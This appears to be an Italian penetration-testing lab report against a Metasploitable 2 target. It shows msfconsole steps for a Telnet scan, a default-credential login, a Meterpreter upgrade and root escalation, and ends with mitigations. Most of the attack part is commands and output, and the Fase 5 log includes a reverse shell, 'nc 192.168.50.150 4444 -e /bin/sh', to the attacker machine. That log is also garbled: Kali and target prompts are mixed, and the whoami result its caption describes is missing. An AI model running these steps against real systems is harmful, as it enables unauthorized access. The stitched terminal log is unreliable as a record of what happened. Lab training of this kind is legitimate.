

RAPPORTO TECNICO DI PENETRATION TESTING: VALUTAZIONE DI VULNERABILITÀ, POST-EXPLOITATION E PRIVILEGE ESCALATION SU TARGET METASPLOITABLE 2

1. Executive Summary

Nel quadro delle attività di valutazione della sicurezza e di simulazione di attacco pianificate, è stato condotto un penetration test mirato contro un ambiente di laboratorio isolato contenente il target vulnerabile **Metasploitable 2 (192.168.50.101)**, partendo dalla postazione di controllo dell'attaccante **Kali Linux (192.168.50.150)**.

L'assessment ha avuto come oggetto l'analisi, l'autenticazione, la gestione delle sessioni, l'aggiornamento a Meterpreter e la successiva **escalation dei privilegi al livello di amministratore di sistema (root)** sfruttando il framework **Metasploit**. L'operazione ha confermato la criticità dei servizi di rete non cifrati, l'utilizzo di credenziali di default predefinite e la presenza di configurazioni permissive sui permessi di sistema.

2. Architettura del Laboratorio e Specifiche Tecniche

- **Attacker System (Kali Linux):** 192.168.50.150
- **Target System (Metasploitable 2):** 192.168.50.101
- **Framework di Riferimento:** Metasploit Framework (msfconsole)
- **Vettore di Attacco Primario:** Servizio Telnet (Porta 23/TCP)
- **Credenziali di Test Iniziali:** msfadmin : msfadmin
- **Credenziali di Elevazione:** Password nota per l'utenza msfadmin sul target

3. Dettaglio delle Fasi Operative ed Esecuzione dell'Esercizio (Manuale di Procedura)

Questa sezione documenta passo dopo passo i comandi eseguiti all'interno del framework, strutturata come guida di riferimento rapido per il ripasso tecnico, integrando gli screenshot e includendo la fase finale di scalata dei privilegi.

Fase 1: Scansione del Servizio Telnet

L'attività è iniziata con la ricognizione attiva mirata a identificare la versione e lo stato del demone Telnet attivo sul target.

- **Obiettivo:** Verificare l'effettiva presenza del servizio sulla porta 23 e raccogliere informazioni sul banner.
- **Comandi operativi in msfconsole:**

Plaintext

```
use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.50.101
run
```

- **Risultato:** Il modulo ha confermato la disponibilità del servizio Telnet sulla porta 23 e restituito il banner di sistema indicante il sistema operativo target (Ubuntu/Linux).

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET
_ _ _ _ \ \x0a| ' _ ' _ \ / _ \ _ / _ / _ | ' _ \ | / _ \ | _ / _ ' | ' _ \ | / _ \
| _ \ _ \ _ \ _ , _ _ _ / . _ / | _ \ _ / | _ \ _ \ , _ _ _ / | _ \ _ _ _ | \x0a
this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLo
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figura 1: Output del modulo `auxiliary/scanner/telnet/telnet_version` con l'identificazione del target.

Fase 2: Autenticazione e Creazione della Sessione

Verificata la presenza del servizio, si è proceduto al testing delle credenziali di default per forzare l'accesso non autorizzato.

- **Obiettivo:** Sfruttare la combinazione utente/password predefinita per forzare l'accesso e aprire automaticamente una sessione nel framework.
- **Comandi operativi in msfconsole:**

Plaintext

```
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.50.101
set USERNAME msfadmin
set PASSWORD msfadmin
set STOP_ON_SUCCESS true
run
```

- **Risultato:** L'autenticazione è andata a buon fine. Il modulo ha validato le credenziali msfadmin:msfadmin e ha aperto una sessione di comando attiva all'interno del framework.

```
msf auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.101:23 - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.150:36105 -> 192.168.50.101:23) at 2026-07-21 08:35:35 -0400
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
-----
Id  Name  Type  Information
--  --
1   shell TELNET msfadmin:msfadmin (192.168.50.101:23) 192.168.50.150:36105 -> 192.168.50.101:23 (192.168.50.101)
```

Figura 2: Validazione delle credenziali e apertura automatica della sessione di comando.

Fase 3: Gestione delle Sessioni

Per validare lo stato delle connessioni stabilite e interagire con il target, sono state impiegate le primitive di gestione sessioni di Metasploit.

- **Obiettivo:** Visualizzare l'elenco delle sessioni attive e agganciare la shell interattiva della macchina remota.
- **Comandi operativi in msfconsole:**
 1. Per visualizzare le sessioni aperte: `sessions -l`
 2. Per entrare all'interno della sessione specifica (es. ID 1): `sessions -i 1`
- **Risultato:** L'operazione ha permesso di ottenere il prompt dei comandi interattivo direttamente all'interno della console di Metasploit.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
=====
```

Id	Name	Type	Information	Session	Process	Host	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.50.101:23)	192.168.50.150:36105	→	192.168.50.101:23	(192.168.50.101)

Figura 3: Elenco delle sessioni attive tramite `sessions -l` e interazione con la shell remota.

Fase 4: Upgrade della Sessione a Meterpreter (Extra)

Al fine di ottenere capacità avanzate di post-exploitation (manipolazione del file system, injection in memoria, raccolta credenziali e pivoting).

- **Obiettivo:** Trasformare una semplice shell di comando standard in un payload avanzato **Meterpreter**.
- **Procedura operativa passo dopo passo:**
 1. **Mettere in background la sessione attiva:** Dalla sessione interattiva aperta, premere la combinazione di tasti `Ctrl + Z`. Digitare `y` e confermare per tornare al prompt principale di Metasploit.
 2. **Caricare il modulo di upgrade:**
Plaintext

3. use post/multi/manage/shell_to_meterpreter
 4. **Configurare i parametri del modulo:** Visualizzare le opzioni con show options e impostare le variabili richieste:
 5. set SESSION 1
 6. set LHOST 192.168.50.150
 7. Eseguire il modulo: run
- **Risultato:** Il modulo ha eseguito l'upgrade della shell standard in un payload avanzato **Meterpreter**, garantendo un canale cifrato, stabile e ricco di funzionalità per la gestione post-compromissione.

```
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.50.150
LHOST => 192.168.50.150
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.150:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.150:4433 -> 192.168.50.101:55954) at 2026-07-21 09:03:57 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: msfadmin
```

Figura 4: Configurazione del modulo post-exploitation e transizione a sessione Meterpreter attiva

Fase 5: Privilege Escalation a Root (Extra Avanzato)

Ottenuto l'accesso iniziale come utente non privilegiato (msfadmin), l'attività si è conclusa con l'escalation dei privilegi a livello sistemico.

- **Obiettivo:** Sfruttare i permessi di elevazione configurati sul target per acquisire il controllo totale (UID 0).
- **Procedura operativa passo dopo passo:**
 1. All'interno della sessione interattiva, invocare il cambio di utenza tramite sudo: sudo su
 2. Inserire la password dell'utente msfadmin quando richiesto dal sistema.
 3. Verificare l'avvenuta acquisizione dei privilegi di superutente eseguendo: whoami
- **Risultato:** Il comando ha restituito l'utenza **root** e il prompt di sistema è cambiato in root@metasploitable:/#, confermando il completo compromise della macchina target.

```
(kali㉿kali)-[~]
└─$ telnet 192.168.50.101
Trying 192.168.50.101...
Connected to 192.168.50.101.
Escape character is '^['.
msfdev@kali:~$ set LHOST 192.168.50.150
LHOST => 192.168.50.150
msfdev@kali:~$ run
[*] Running session ID=1
[*] Running post module: post/linux/local/udev_netlink
[*] Post module execution completed
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started (server)
msfdev@kali:~$
msfdev@kali:~$ nc 192.168.50.101 4444
metasploitable login: msfadmin
Password:
Last login: Tue Jul 21 07:44:40 EDT 2026 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sessions -l
-bash: sessions: command not found
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# nc 192.168.50.150 4444 -e /bin/sh
sudo su
msfadmin@metasploitable:~$
```

Figura 5: Esecuzione di sudo su e conferma dell'acquisizione dei privilegi di root (whoami).

4. Analisi del Rischio e Valutazione d'Impatto

Parametro di Sicurezza	Valutazione	Dettaglio Tecnico
Confidenzialità	Critica	Intercettazione dei flussi in chiaro (Telnet) e accesso completo ai file riservati (/etc/shadow, configurazioni di sistema).
Integrità	Critica	Controllo totale del file system, alterazione dei binari di sistema e installazione di backdoor persistenti come root.
Disponibilità	Alta	Rischio di interruzione o spegnimento dei servizi di rete critici da parte di un utente malintenzionato con privilegi amministrativi.

5. Conclusioni e Raccomandazioni di Mitigazione

Il laboratorio ha dimostrato l'estrema pericolosità di configurazioni legacy, credenziali predefinite e politiche di permessi troppo permissive. Si raccomanda urgentemente l'applicazione delle seguenti contromisure:

- 1. Dismissione di Protocolli Non Cifrati:** Sostituire integralmente il servizio **Telnet** con protocolli sicuri basati su crittografia asimmetrica come **SSH (Secure Shell)**.
- 2. Hardening delle Credenziali:** Rimuovere rigorosamente tutti gli account di default/preinstallati (msfadmin, service, ecc.) e implementare policy di complessità e rotazione delle password.
- 3. Principio del Minimo Privilegio:** Revisionare e limitare rigorosamente l'accesso ai comandi amministrativi tramite sudo all'interno del file /etc/sudoers, evitando configurazioni che permettano l'escalation incontrollata da parte di utenti standard.